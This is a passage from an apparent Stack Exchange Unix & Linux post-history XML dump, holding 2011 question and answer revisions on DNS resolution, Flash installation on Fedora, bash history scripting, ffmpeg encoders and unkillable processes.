&lt;&lt;&gt;&gt; @8.8.8.8 google.co.uk&#xD;&#xA;    ; (1 server found)&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 9993&#xD;&#xA;    ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xD;&#xA;    &#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;google.co.uk.                  IN      A&#xD;&#xA;    &#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    google.co.uk.           0       IN      A       192.168.1.251&#xD;&#xA;    &#xD;&#xA;    ;; Query time: 0 msec&#xD;&#xA;    ;; SERVER: 8.8.8.8#53(8.8.8.8)&#xD;&#xA;    ;; WHEN: Tue Jan 11 01:09:01 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 46&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12791" PostHistoryTypeId="2" PostId="5687" RevisionGUID="dc1f01e5-9116-41b3-a729-4050c400fc0a" CreationDate="2011-01-11T14:41:12.453" UserId="3389" Text="Check your `/var/log/kern.log` and `/var/log/dmesg` (or equivalents) for any clues.  In my experience this has happened to me only when an NFS mount's network connection has suddenly dropped or a device driver crashed.  Could happen if a hard drive crashes as well, I believe.&#xD;&#xA;&#xD;&#xA;You can use `lsof` to see what device files the process has open." />
  <row Id="12792" PostHistoryTypeId="5" PostId="5683" RevisionGUID="f06d30eb-f5b4-4563-a59f-4b734a5758d2" CreationDate="2011-01-11T14:45:23.267" UserId="73" Comment="added 7 characters in body" Text="I don't think the hardware details are integrated into the file-system, they're maintained by the USB controller" />
  <row Id="12793" PostHistoryTypeId="2" PostId="5688" RevisionGUID="02e88789-c90a-49ba-be02-96b32fe688a2" CreationDate="2011-01-11T14:46:51.700" UserId="2871" Text="Adobe’s Flash plugin is not included in Fedora because it is not free. Adobe has released a version of the Flash plugin for Linux.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Enabling Flash Plugin&lt;/h2&gt; &#xD;&#xA;To begin, refer to the Adobe site at http://get.adobe.com/flashplayer/  &#xD;&#xA;This will download the adobe-release-i386-1.0-1.noarch.rpm file. Issue the following command within the directory where you have downloaded the repository rpm file.  &#xD;&#xA;&#xD;&#xA;    su -c ‘rpm -ivh adobe-release-i386-1.0-1.noarch.rpm’  &#xD;&#xA;&#xD;&#xA;The .rpm file also copies the adobe General Public Key (GPG key) to /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux but does not import it. To import the key, type:  &#xD;&#xA;&#xD;&#xA;    su -c ‘rpm –import /etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux’  &#xD;&#xA;&#xD;&#xA;The system is now ready to fetch rpm packages from adobe using yum. To verify this, take a look at the /etc/yum.repos.d/adobe-linux-i386.repo file that was just created. You should see something similar to the following:  &#xD;&#xA;&#xD;&#xA;    adobe-linux-i386]&#xD;&#xA;    name=Adobe Systems Incorporated&#xD;&#xA;    baseurl=http://linuxdownload.adobe.com/linux/i386/&#xD;&#xA;    enabled=1&#xD;&#xA;    gpgcheck=1&#xD;&#xA;    gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-adobe-linux&#xD;&#xA;&#xD;&#xA;Notice that the file contains the URL where the packages are located, whether or not the repository should be enabled, whether rpm should check downloaded packages from adobe against the GPG key, and the location of the key itself.&#xD;&#xA;&#xD;&#xA;Now proceed to either the instructions for 32-bit (i386) platforms(I assume that..)  &#xD;&#xA;&#xD;&#xA;**On 32-bit Fedora**&#xD;&#xA;&#xD;&#xA;After completing the adobe repository configuration, run the following command to install the Flash plugin and ensure sound is enabled:&#xD;&#xA;&#xD;&#xA;    su -c ‘yum install flash-plugin alsa-plugins-pulseaudio \&#xD;&#xA;    libcurl’&#xD;&#xA;&#xD;&#xA;You may see messages indicating that alsa-plugins-pulseaudio and libcurl are already installed. This is not a problem. Note also that nspluginwrapper is installed by default and will wrap the Flash plugin. If you have upgraded from a previous version of Fedora, make sure that nspluginwrapper is installed and the latest version:&#xD;&#xA;&#xD;&#xA;    su -c ‘yum install nspluginwrapper’&#xD;&#xA;&#xD;&#xA;Next, you should check the plugin.&#xD;&#xA;&#xD;&#xA;**Checking the plugin**&#xD;&#xA;&#xD;&#xA;After the installation, exit all copies of Firefox and start it again to enable the plugin. Then type the following text in the Firefox address bar:&#xD;&#xA;&#xD;&#xA;    about:plugins&#xD;&#xA;&#xD;&#xA;This information tells you that the Adobe Flash plugin has been successfully installed.&#xD;&#xA;" />
  <row Id="12794" PostHistoryTypeId="5" PostId="5686" RevisionGUID="625687d8-eae3-4b76-ae2f-bb6379f7f418" CreationDate="2011-01-11T14:53:47.533" UserId="2871" Comment="added 288 characters in body" Text="One of my friends have tried this. He has installed five or six distros in a single Hard drive.  &#xD;&#xA;&#xD;&#xA;The `first primary partition` is for `grub` and he is able to boot to all the distros. The `second partition` is `swap`. The `third partition` is an `extended partition` and each of the distros is installed into their own logical partitions.  &#xD;&#xA;&#xD;&#xA;All of the distros are booting and can hibernate. I think you just need to make sure and select the correct distro after resuming from hibernation.   &#xD;&#xA;&#xD;&#xA;So, on the basis of his experiment I should say __YES__. This is possible.  &#xD;&#xA;&#xD;&#xA;But i think it can break things. What if distro 2 wakes up and distro 1's resume file&#xD;&#xA;is using up the swap partition, what's the next thing going to happen?  &#xD;&#xA;So i too agree with all the above posts. Why dont you try to split the swap parttions, rather than taking this huge risk." />
  <row Id="12795" PostHistoryTypeId="5" PostId="5684" RevisionGUID="eae1ad1b-14ed-434f-a584-b977741fb245" CreationDate="2011-01-11T14:55:56.897" UserId="3069" Comment="added 19 characters in body" Text="Hi all, I have been bashing my head to write a simple history script for the last two days. History is a shell-built in command I couldn't able to use that within a BASH script. So, Is there a way attain this using BASH script ?  &#xD;&#xA;Here we go my script for you:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    history |  tail -100 &gt; /tmp/history.log&#xD;&#xA;    cd /tmp&#xD;&#xA;    uuencode history.log history.txt  | mail -s &quot;History log of server&quot; hello@hel.com" />
  <row Id="12796" PostHistoryTypeId="2" PostId="5689" RevisionGUID="aa86264a-ada7-4821-98d1-322ceb487adb" CreationDate="2011-01-11T14:59:10.183" UserId="195" Text="Have you tried going to adobe.com and downloading it?" />
  <row Id="12797" PostHistoryTypeId="5" PostId="5685" RevisionGUID="6b11694b-33b3-49b8-8db3-705c046e02a2" CreationDate="2011-01-11T15:02:36.350" UserId="3154" Comment="Removed silly language" Text="I'm not sure if it actually uses the history capability when running non-interactively, otherwise every shell script you run would clutter up your command history.&#xD;&#xA;&#xD;&#xA;Why not go directly to the source `${HOME}/.bash_history`, replace `history | tail -100` with `tail -100 ${HOME}/.bash_history`. (If you use timestamps you'd probably have to do something along the lines of `grep -v ^# ${HOME}/.bash_history | tail -100`).&#xD;&#xA;" />
  <row Id="12798" PostHistoryTypeId="2" PostId="5690" RevisionGUID="937442e8-335a-4a4a-81af-eec1507f099a" CreationDate="2011-01-11T15:11:36.557" UserId="1779" Text="    git log --decorate -1 [commit]&#xD;&#xA;&#xD;&#xA;If `commit` (`HEAD` if omitted) has tags, the commit hash will be followed by `(tag: name)` (and possibly multiple other symbolic references too).  You can pick this out more specifically with&#xD;&#xA;&#xD;&#xA;    git log --pretty=%d" />
  <row Id="12799" PostHistoryTypeId="2" PostId="5691" RevisionGUID="4b306f4f-a79b-41ca-8db3-9478b9294bea" CreationDate="2011-01-11T15:13:54.437" UserId="1170" Text="Here is a solution, inspired by the previous answers:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(declare | sort) &lt;(declare -f | sort)&#xD;&#xA;&#xD;&#xA;breakdown:&#xD;&#xA;&#xD;&#xA;1. `declare` prints every defined variable (exported or not) and function.&#xD;&#xA;1. `declare -f` prints only functions.&#xD;&#xA;1. `comm -3` will remove all lines common to both. In effect this will remove the functions, leaving only the variables.&#xD;&#xA;&#xD;&#xA;To only print variables which are not exported:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(comm -3 &lt;(declare | sort) &lt;(declare -f | sort)) &lt;(env | sort)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Another solution:&#xD;&#xA;&#xD;&#xA;    $ typedef -p&#xD;&#xA;&#xD;&#xA;This will only print the variables, but with some ugly attributes.&#xD;&#xA;&#xD;&#xA;    declare -- BASH=&quot;/bin/bash&quot;&#xD;&#xA;    declare -ir BASHPID=&quot;&quot;&#xD;&#xA;    declare -A BASH_ALIASES='()'&#xD;&#xA;    declare -a BASH_ARGC='()'&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;You can cut the attributes away using... cut:&#xD;&#xA;&#xD;&#xA;    $ declare -p | cut -d &quot; &quot; -f 3&#xD;&#xA;&#xD;&#xA;The output is usable. One downside is that the value of IFS is interpreted instead of displayed raw.&#xD;&#xA;&#xD;&#xA;compare:&#xD;&#xA;&#xD;&#xA;    $ comm -3 &lt;(declare | sort) &lt;(declare -f | sort)&#xD;&#xA;    ...&#xD;&#xA;    IFS=$' \t\n'&#xD;&#xA;    ...&#xD;&#xA;    $ declare -p | cut -d &quot; &quot; -f 3&#xD;&#xA;    ...&#xD;&#xA;    IFS=&quot;&#xD;&#xA;    &quot;&#xD;&#xA;    ...&#xD;&#xA;" />
  <row Id="12800" PostHistoryTypeId="2" PostId="5692" RevisionGUID="ad395411-e263-4a55-8ec0-8c82950ec0db" CreationDate="2011-01-11T15:37:24.030" UserId="3336" Text="Hi,&#xD;&#xA;&#xD;&#xA;I'd like to install a mercurial plugin for Trac. Manual provides svn path with the source code. I need to create an &quot;egg&quot; from that source code.&#xD;&#xA;&#xD;&#xA;Do i need to have SVN installed in order to do this or can this be done in a different way?&#xD;&#xA;&#xD;&#xA;Plugin is [here][1]&#xD;&#xA;&#xD;&#xA;I'm very new to Linux, I've been using it only for the past two weeks.&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://trac.edgewall.org/wiki/TracMercurial" />
  <row Id="12801" PostHistoryTypeId="1" PostId="5692" RevisionGUID="ad395411-e263-4a55-8ec0-8c82950ec0db" CreationDate="2011-01-11T15:37:24.030" UserId="3336" Text="How to build a python egg for a TRAC plugin?" />
  <row Id="12802" PostHistoryTypeId="3" PostId="5692" RevisionGUID="ad395411-e263-4a55-8ec0-8c82950ec0db" CreationDate="2011-01-11T15:37:24.030" UserId="3336" Text="élinuxàépythonàésubversionà" />
  <row Id="12803" PostHistoryTypeId="5" PostId="5632" RevisionGUID="5d8aba72-d479-4451-b932-5a5462b3e076" CreationDate="2011-01-11T16:02:20.030" UserId="2180" Comment="added 1 characters in body" Text="I'm not completely confident with this yet, so take it with a grain of salt and more research.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It starts with the kernel hotplug subsystem. After a device is setup, it either calls whatever userspace program is setup to handle hotplug events (if one was set by `echo hotplug_handler &gt; /proc/sys/kernel/hotplug`) or sends a data packet over the kobject_uevent netlink socket. When the kernel launches the hotplug handler, it sets up some environment variables. When the kernel sends a datapacket, it includes key=value pairs. If you want to, you can setup a script that just logs the environment and set it up as the handler (not on your production system, of course - a test setup).&#xD;&#xA;&#xD;&#xA;Usually, udev is setup as the handler, and it will have several rules setup about how to handle events. From there, it can launch other programs that do other things (like issue dbus messages). These udev rules are highly dependent on the particular distribution of interest.&#xD;&#xA;&#xD;&#xA;There is a lot of information in [this thread][1] where someone is trying to write some documentation - note the first message is not accurate; keep reading.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://thread.gmane.org/gmane.linux.kernel/556485&#xD;&#xA;  [2]: http://thread.gmane.org/gmane.linux.kernel/170526/" />
  <row Id="12804" PostHistoryTypeId="2" PostId="5693" RevisionGUID="6f4a52b8-9b97-4910-9257-4357e4133578" CreationDate="2011-01-11T16:22:00.997" UserId="3069" Text="You can use a anonymous pipe for the second command:&#xD;&#xA;&#xD;&#xA;    texcount foo.tex | tee &gt;(sed s/$/'\\\\'/ &gt; wc.tex)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**IF** you don't mind about `stderr`, you could (as an alternative) redirect the first command to it, a normal pipe will not redirect `stderr`.&#xD;&#xA;&#xD;&#xA;    texcount foo.tex &gt;&amp;2 | sed s/$/'\\\\'/ &gt; wc.tex&#xD;&#xA;&#xD;&#xA;But I wouldn't recommend the second method for script usage, as you generally want to redirect `stderr` to a special place." />
  <row Id="12805" PostHistoryTypeId="5" PostId="5693" RevisionGUID="f34cedce-26b4-4c6e-ac11-2844604acc3a" CreationDate="2011-01-11T16:27:59.480" UserId="3069" Comment="deleted 6 characters in body" Text="You can use a anonymous pipe for the second command:&#xD;&#xA;&#xD;&#xA;    texcount foo.tex | tee &gt;(sed s/$/'\\\\'/ &gt; wc.tex)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**IF** you don't mind `stderr`, you could (as an alternative) redirect the first command to it, a normal pipe will not redirect `stderr`.&#xD;&#xA;&#xD;&#xA;    texcount foo.tex &gt;&amp;2 | sed s/$/'\\\\'/ &gt; wc.tex&#xD;&#xA;&#xD;&#xA;But I wouldn't recommend the second method for script usage, as you generally want to redirect `stderr` to a special place." />
  <row Id="12806" PostHistoryTypeId="5" PostId="5693" RevisionGUID="d903f193-1b7c-4f0b-8d6e-e1d252ffc202" CreationDate="2011-01-11T16:37:08.723" UserId="3069" Comment="deleted 319 characters in body" Text="You can use a anonymous pipe for the second command:&#xD;&#xA;&#xD;&#xA;    texcount foo.tex | tee &gt;(sed s/$/'\\\\'/ &gt; wc.tex)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12807" PostHistoryTypeId="2" PostId="5694" RevisionGUID="551d5b8c-62a4-45df-aeff-229ab8a644cd" CreationDate="2011-01-11T16:41:56.200" UserId="3432" Text="check with `lsusb`&#xD;&#xA;&#xD;&#xA;also dmesg after plugging the device" />
  <row Id="12808" PostHistoryTypeId="2" PostId="5695" RevisionGUID="996919d4-b951-492d-9789-531d215a0101" CreationDate="2011-01-11T16:42:15.707" UserId="3557" Text="If you scroll down on the page you linked to, you'll see that they have it so you can download a zip file snapshot of each version.&#xD;&#xA;&#xD;&#xA;The rest of the instructions are on that page as well, for how to build the egg." />
  <row Id="12809" PostHistoryTypeId="5" PostId="5692" RevisionGUID="02df1fb0-94f2-4b98-9b3a-12c4d36967e7" CreationDate="2011-01-11T16:53:58.650" UserId="73" Comment="deleted 22 characters in body" Text="I'd like to install a [mercurial plugin][1] for Trac. The manual provides an svn path with the source code. I need to create an &quot;egg&quot; from that source code. Do I need to have SVN installed in order to do this, or can this be done in a different way?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(I'm very new to Linux, I've been using it only for the past two weeks.)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://trac.edgewall.org/wiki/TracMercurial" />
  <row Id="12810" PostHistoryTypeId="2" PostId="5696" RevisionGUID="868a2a17-d9e6-4c48-9bd0-8b24253dbadb" CreationDate="2011-01-11T17:06:34.553" UserId="3582" Text="Have you tried something like [MDM][1]? It looks like it can handle the keyboard/video/mouse mappings in it's config file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.c3sl.ufpr.br/multiseat/index.php/Mdm" />
  <row Id="12811" PostHistoryTypeId="2" PostId="5697" RevisionGUID="2218fef1-1907-4de5-93ff-887b901ea72b" CreationDate="2011-01-11T17:14:09.293" UserId="1170" Text="The history builtin seems to be disabled inside a shell script. See here: http://www.tldp.org/LDP/abs/html/histcommands.html&#xD;&#xA;&#xD;&#xA;I have not found any official documentation about this.&#xD;&#xA;" />
  <row Id="12812" PostHistoryTypeId="2" PostId="5698" RevisionGUID="d56c00c3-15a5-4d3b-b7af-2f6fb43b6abe" CreationDate="2011-01-11T17:29:48.083" UserId="3255" Text="I couldn't clearly find the underlying reason why, but the zero length core file was caused by trying to create the core file on a [Parallels Shared Folder][1].&#xD;&#xA;&#xD;&#xA;I solved the problem by running the application from a local directory.  I suppose another alternative would be to set `/proc/sys/kernel/core_pattern` to dump core files into a local directory.&#xD;&#xA;&#xD;&#xA;  [1]: http://download.parallels.com/desktop/v6/docs/en/Parallels_Desktop_Users_Guide/22907.htm" />
  <row Id="12813" PostHistoryTypeId="5" PostId="3520" RevisionGUID="87a3bf7f-658e-4605-9e85-2d1e9ecc0e07" CreationDate="2011-01-11T18:13:00.370" UserId="1207" Comment="deleted 1 characters in body" Text="I am unsure how one can make `set` print only variables.  However by looking at the output of `set`, I was able to come up with the following that seems to grab just variables:&#xD;&#xA;&#xD;&#xA;    $ set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; &#xD;&#xA;&#xD;&#xA;Basically, I am looking for lines that start with letters, numbers, or punctuation followed by a &quot;=&quot;.  From the output that I saw, this grabs all of the variables; however, I doubt that this is very portable.&#xD;&#xA;&#xD;&#xA;If, as your title suggests, you want to subtract from this list the variables that are exported and thus get a list of non-exported variables, then you could do something like this&#xD;&#xA;&#xD;&#xA;    $ set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; | sort &gt; ./setvars &amp;&amp; env | sort | comm -23 ./setvars - &#xD;&#xA;&#xD;&#xA;To break this down a bit, here is what it does: &#xD;&#xA;&#xD;&#xA;1. `set | grep &quot;^\([[:alnum:]]\|[[:punct:]]\)\+=&quot; | sort &gt; ./setvars` : This hopefully gets all of the variables (as discussed before), sorts them, and sticks the result in a file.&#xD;&#xA;2. `&amp;&amp; env | sort `: After the previous command is complete, we are going to call `env` and sort its output.&#xD;&#xA;3. `| comm -23 ./setvars - `: Finally, we pipe the sorted output of `env` into `comm` and use the `-23` option to print the lines that are unique to the first argument, in this case the lines unique to our output from set.&#xD;&#xA;&#xD;&#xA;When you are done you might want to cleanup the temp file that it created with the command `rm ./setvars`" />
  <row Id="12814" PostHistoryTypeId="5" PostId="5644" RevisionGUID="f0cb538a-3956-4aa7-b43e-24a4e5049211" CreationDate="2011-01-11T18:43:38.567" UserId="1924" Comment="added 616 characters in body" Text="in my WinFF on linux ubuntu 10.04 when I convert files (every format into any using standard procedure) I don't get output. I mean clear bash console shows up and then I see just my shell con. I probably misconfigured (in past it was working) it but I ain't sure.I reinstalled everything but problem continues. Could you help me ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    echo -n &quot;\033]0; Converting _quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat (1/1)\007&quot;&#xD;&#xA;    /usr/bin/ffmpeg -i &quot;/home/oneat/dwhelper/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.flv&quot; -acodec libmp3lame -vcodec msmpeg4 -ab 192kb -b 1000kb -s 640x480 -ar 44100 &quot;/home/oneat/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.avi&quot;&#xD;&#xA;    read -p &quot;Press Enter to Continue&quot; dumbyvar&#xD;&#xA;    rm &quot;/home/oneat/.winff/ff110111193250.sh&quot;&#xD;&#xA;&#xD;&#xA;But it's not concerned with these commands. Just output is not printed to console. Typing this code to console works fine.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12815" PostHistoryTypeId="2" PostId="5699" RevisionGUID="07960fa9-6804-4d63-b519-3a5d811c2968" CreationDate="2011-01-11T18:51:55.750" UserId="1924" Text="When I am converting file into another I always get&#xD;&#xA;&#xD;&#xA;    Unknown encoder 'libmp3lame'&#xD;&#xA;&#xD;&#xA;Dispute I've got it installed by Ubuntu Software Center.&#xD;&#xA;&#xD;&#xA;I am using this command for FFMPEG:&#xD;&#xA;&#xD;&#xA;    /usr/bin/ffmpeg -i &quot;/home/oneat/dwhelper/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.flv&quot; -acodec libmp3lame -vcodec msmpeg4 -ab 192kb -b 1000kb -s 640x480 -ar 44100 &quot;/home/oneat/_quot;LIKE A G6_quot; (OFFICIAL) FAR EAST MOVEMENT (FM) feat.avi&quot;&#xD;&#xA;&#xD;&#xA;Have I to add it somewhere or what ?" />
  <row Id="12816" PostHistoryTypeId="1" PostId="5699" RevisionGUID="07960fa9-6804-4d63-b519-3a5d811c2968" CreationDate="2011-01-11T18:51:55.750" UserId="1924" Text="FFMPEG needs libmp3lame" />
  <row Id="12817" PostHistoryTypeId="3" PostId="5699" RevisionGUID="07960fa9-6804-4d63-b519-3a5d811c2968" CreationDate="2011-01-11T18:51:55.750" UserId="1924" Text="éffmpegà" />
  <row Id="12818" PostHistoryTypeId="5" PostId="5699" RevisionGUID="5b66c795-6dbb-4bfa-b085-be3fb129cd0f" CreationDate="2011-01-11T19:58:02.397" UserId="688" Comment="deleted 173 characters in body; edited title; deleted 4 characters in body" Text="When I am converting an FLV to an AVI one, I always get:&#xD;&#xA;&#xD;&#xA;    Unknown encoder 'libmp3lame'&#xD;&#xA;&#xD;&#xA;But I've installed it with Ubuntu Software Center.&#xD;&#xA;&#xD;&#xA;I am using this command:&#xD;&#xA;&#xD;&#xA;    ffmpeg -i video.flv -acodec libmp3lame -vcodec msmpeg4 -ab 192kb -b 1000kb -s 640x480 -ar 44100 video.avi&quot;&#xD;&#xA;&#xD;&#xA;How do I get this to work?" />
  <row Id="12819" PostHistoryTypeId="4" PostId="5699" RevisionGUID="5b66c795-6dbb-4bfa-b085-be3fb129cd0f" CreationDate="2011-01-11T19:58:02.397" UserId="688" Comment="deleted 173 characters in body; edited title; deleted 4 characters in body" Text="How to get lilbmp3lame encoding to work with ffmpeg?" />
  <row Id="12820" PostHistoryTypeId="5" PostId="5681" RevisionGUID="7a6a5b3d-ca21-4f46-bcd4-d223ca6b5217" CreationDate="2011-01-11T20:06:37.573" UserId="3158" Comment="deleted 2862 characters in body" Text="I compiled a new kernel image on x86 using cross compiler with these commands.  http://www.thebitsource.com/programming-software-development/how-to-install-debian-linux-on-an-embedded-system/&#xD;&#xA;&#xD;&#xA;    $ cp arch/powerpc/configs/pmac32_defconfig .config&#xD;&#xA;    $ make ARCH=powerpc menuconfig&#xD;&#xA;    $ make ARCH=powerpc CROSS_COMPILE=pwoerpc-750-linux-gnu- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Now, I want to install this new image on a debian-powerpc. Debian-powerpc uses quik as the default bootloader. &#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;" />
  <row Id="12821" PostHistoryTypeId="5" PostId="5648" RevisionGUID="dd3b9fdf-ce92-435a-9f5b-dff1e14f4cf1" CreationDate="2011-01-11T20:07:26.513" UserId="885" Comment="mention init; clarify asynchronous delivery; mention zombies" Text="`kill -9` ([SIGKILL](http://en.wikipedia.org/wiki/SIGKILL)) always works, provided you have the permission to kill the process. Basically either the process must be started by you and not be setuid or setgid, or you must be root. There is one exception: even root cannot send a fatal signal to PID 1 (the `init` process).&#xD;&#xA;&#xD;&#xA;However `kill -9` is not guaranteed to work *immediately*. All signals, including SIGKILL, are delivered asynchronously: the kernel may take its time to deliver them. Usually, delivering a signal takes at most a few microseconds, just the time it takes for the target to get a time slice. However, if the target has [blocked the signal](http://www.cis.temple.edu/~ingargio/cis307/readings/signals.html), the signal will be queued until the target unblocks it.&#xD;&#xA;&#xD;&#xA;Normally, processes cannot block SIGKILL. But kernel code can, and processes execute kernel code when they call [system calls](http://en.wikipedia.org/wiki/System_call). Kernel code blocks all signals when interrupting the system call would result in a badly formed data structure somewhere in the kernel, or more generally in some kernel invariant being violated. So if (due to a bug or misdesign) a system call blocks indefinitely, there may effectively be no way to kill the process. (But the process *will* be killed if it ever completes the system call.)&#xD;&#xA;&#xD;&#xA;A process blocked in a system call is in [uninterruptible sleep](http://en.wikipedia.org/wiki/Sleep_%28operating_system%29#Uninterruptible_sleep). The `ps` or `top` command will (on most unices) show it in state `D` (originally for “&lt;strong&gt;d&lt;/strong&gt;isk”, I think).&#xD;&#xA;&#xD;&#xA;A classical case of long uninterruptible sleep is processes accessing files over [NFS](http://en.wikipedia.org/wiki/Network_File_System_%28protocol%29) when the server is not responding; modern implementations tend not to impose uninterruptible sleep (e.g. under Linux, the `intr` mount option allows a signal to interrupt NFS file accesses).&#xD;&#xA;&#xD;&#xA;You may sometimes see entries marked `Z` (or `H` under Linux, I don't know what the distinction is) in the `ps` or `top` output. These are technically not processes, they are zombie processes, which are nothing more than an entry in the process table, kept around so that the parent process can be notified of the death of its child. They will go away when the parent process [pays attention](http://pubs.opengroup.org/onlinepubs/009695399/functions/wait.html) (or dies).&#xD;&#xA;" />
  <row Id="12822" PostHistoryTypeId="5" PostId="5673" RevisionGUID="d058f715-c5a2-4d0c-999c-856cf2925aa8" CreationDate="2011-01-11T20:09:45.420" UserId="885" Comment="fixed typo" Text="If @[Maciej](http://unix.stackexchange.com/questions/5642/what-if-kill-9-doesnt-work/5647#5647)'s and @[Gilles](http://unix.stackexchange.com/questions/5642/what-if-kill-9-doesnt-work/5648#5648)'s answer's don't solve your problem, and you don't recognize the process (and asking what it is with your distro doesn't turn up answers ). Check for Rootkit's and any other signs that you've been *owned*. A rootkit is more than capable of preventing you from killing the process. In fact many are capable of preventing you from seeing them. But if they forget to modify 1 small program they might be spotted ( e.g. they modified `top`, but not `htop` ). Most likely this is not the case but better safe than sorry." />
  <row Id="12823" PostHistoryTypeId="6" PostId="5656" RevisionGUID="0cb5a40c-da6b-462e-92f7-16e5cadebe44" CreationDate="2011-01-11T20:14:41.577" UserId="885" Comment="edited tags" Text="épartitionàéswapàédualöbootà" />
  <row Id="12824" PostHistoryTypeId="5" PostId="5477" RevisionGUID="73782069-bcd8-4b6e-b2f3-a7729bd01632" CreationDate="2011-01-11T20:16:43.670" UserId="3483" Comment="added 1744 characters in body" Text="All my queries on one machine on my network have suddenly started to resolve to 192.168.1.251.&#xD;&#xA;&#xD;&#xA;This machine was used as the DNS server by other machines, so I noticed it as soon as it started happening and have switched all other machines to use 8.8.8.8 directly, which works.&#xD;&#xA;&#xD;&#xA;The machines are all on a 192.168.0.x IP.&#xD;&#xA;&#xD;&#xA;It does run dnsmasq, which I've restarted to no effect and so stopped, again, no difference.&#xD;&#xA;&#xD;&#xA;/etc/resolv.conf did have entries for 127.0.0.1 and the router's IP, I've changed it to just contain one for 8.8.8.8 and there's nothing in /etc/hosts for a 192.168.1.251 IP.&#xD;&#xA;&#xD;&#xA;Any ideas would be appreciated!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ dig google.co.uk @8.8.8.8&#xD;&#xA;&#xD;&#xA;    ; &lt;&lt;&gt;&gt; DiG 9.7.0-P1 &lt;&lt;&gt;&gt; google.co.uk @8.8.8.8&#xD;&#xA;    ;; global options: +cmd&#xD;&#xA;    ;; Got answer:&#xD;&#xA;    ;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 49227&#xD;&#xA;    ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0&#xD;&#xA;&#xD;&#xA;    ;; QUESTION SECTION:&#xD;&#xA;    ;google.co.uk.			IN	A&#xD;&#xA;&#xD;&#xA;    ;; ANSWER SECTION:&#xD;&#xA;    google.co.uk.		0	IN	A	192.168.1.251&#xD;&#xA;&#xD;&#xA;    ;; Query time: 0 msec&#xD;&#xA;    ;; SERVER: 8.8.8.8#53(8.8.8.8)&#xD;&#xA;    ;; WHEN: Thu Jan  6 20:22:03 2011&#xD;&#xA;    ;; MSG SIZE  rcvd: 46&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ uname -a&#xD;&#xA;    Linux america 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux&#xD;&#xA;&#xD;&#xA;Edit: This seemed to start working without any sign of any changes having effected the behaviour. I'm still none the wiser, but including the files below for completeness (and in case it comes back!)&#xD;&#xA;&#xD;&#xA;    $ cat /etc/hosts&#xD;&#xA;    127.0.0.1	localhost&#xD;&#xA;    127.0.0.1	america&#xD;&#xA;&#xD;&#xA;    192.168.0.1	england&#xD;&#xA;    192.168.0.2	america&#xD;&#xA;    192.168.0.3	germany&#xD;&#xA;    192.168.0.4	france&#xD;&#xA;    192.168.0.5	sweden&#xD;&#xA;&#xD;&#xA;    # The following lines are desirable for IPv6 capable hosts&#xD;&#xA;    ::1     localhost ip6-localhost ip6-loopback&#xD;&#xA;    fe00::0 ip6-localnet&#xD;&#xA;    ff00::0 ip6-mcastprefix&#xD;&#xA;    ff02::1 ip6-allnodes&#xD;&#xA;    ff02::2 ip6-allrouters&#xD;&#xA;    ff02::3 ip6-allhosts&#xD;&#xA;&#xD;&#xA;    $ cat /etc/resolv.conf &#xD;&#xA;    # Generated by NetworkManager&#xD;&#xA;    #nameserver 127.0.0.1&#xD;&#xA;    nameserver 8.8.8.8&#xD;&#xA;    #nameserver 4.2.2.2&#xD;&#xA;&#xD;&#xA;    $ cat /etc/nsswitch.conf &#xD;&#xA;    # /etc/nsswitch.conf&#xD;&#xA;    #&#xD;&#xA;    # Example configuration of GNU Name Service Switch functionality.&#xD;&#xA;    # If you have the `glibc-doc-reference' and `info' packages installed, try:&#xD;&#xA;    # `info libc &quot;Name Service Switch&quot;' for information about this file.&#xD;&#xA;&#xD;&#xA;    passwd:         compat&#xD;&#xA;    group:          compat&#xD;&#xA;    shadow:         compat&#xD;&#xA;&#xD;&#xA;    hosts:          files mdns4_minimal [NOTFOUND=return] dns mdns4&#xD;&#xA;    networks:       files&#xD;&#xA;&#xD;&#xA;  